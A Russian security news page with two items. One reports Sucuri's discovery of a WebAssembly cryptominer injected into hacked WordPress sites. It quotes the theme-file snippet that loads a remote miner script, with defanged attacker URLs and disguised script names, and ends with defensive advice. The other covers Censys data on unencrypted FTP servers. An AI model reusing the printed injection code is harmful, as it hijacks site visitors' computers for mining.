Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).

Почти половина FTP-серверов в интернете работает без шифрования

Старый добрый FTP, похоже, до сих пор жив и создаёт немало проблем. По данным специалистов Censys, в интернете сейчас доступно около 6 млн систем с FTP, почти половина из них при этом работает без шифрования. Исследователи насчитали 5,94 млн хостов с открытым FTP. Это на 40% меньше, чем в 2024 году, когда таких систем было больше 10 млн.

Но расслабляться рано: протокол всё ещё занимает заметную долю — около 2,7% всех интернет-доступных сервисов.

Самое тревожное — уровень защиты. У примерно 2,45 млн FTP-серверов не обнаружено признаков использования шифрования. Проще говоря, данные там потенциально передаются в открытом виде, включая логины и пароли.

 

В Censys уточняют:

«Это не значит, что абсолютно все такие серверы точно "светят" трафик, но никаких признаков защищённого соединения при сканировании выявить не удалось. Причины могут быть разными — от устаревших настроек до полного отсутствия поддержки TLS».

География распределения ожидаемая: больше всего таких систем в США (около 1,2 млн), затем идут Китай, Германия, Гонконг, Япония и Франция. Значительная часть FTP-хостов размещена у крупных провайдеров и хостинг-компаний, включая China Unicom, Alibaba, OVH, Hetzner и GoDaddy.

 

Что касается «начинки», чаще всего встречается сервер Pure-FTPd — почти 2 млн установок. Далее идут ProFTPD и vsftpd. Отдельно выделяется IIS от Microsoft: около 259 тыс. FTP-сервисов работают на нём, и более 150 тыс. из них никогда не настраивали шифрование.

Что ещё удалось выявить специалистам:

  • почти 1 млн серверов вообще не поддерживают AUTH TLS;
  • более 800 тыс. запрашивают пароль до установления защищённого соединения;
  • свыше 170 тыс. не имеют явной поддержки TLS вовсе.

Всё это во многом результат «настроек по умолчанию» у хостинг-провайдеров и массовых сервисов. FTP просто включают — и оставляют как есть.

RSS: Новости на портале Anti-Malware.ru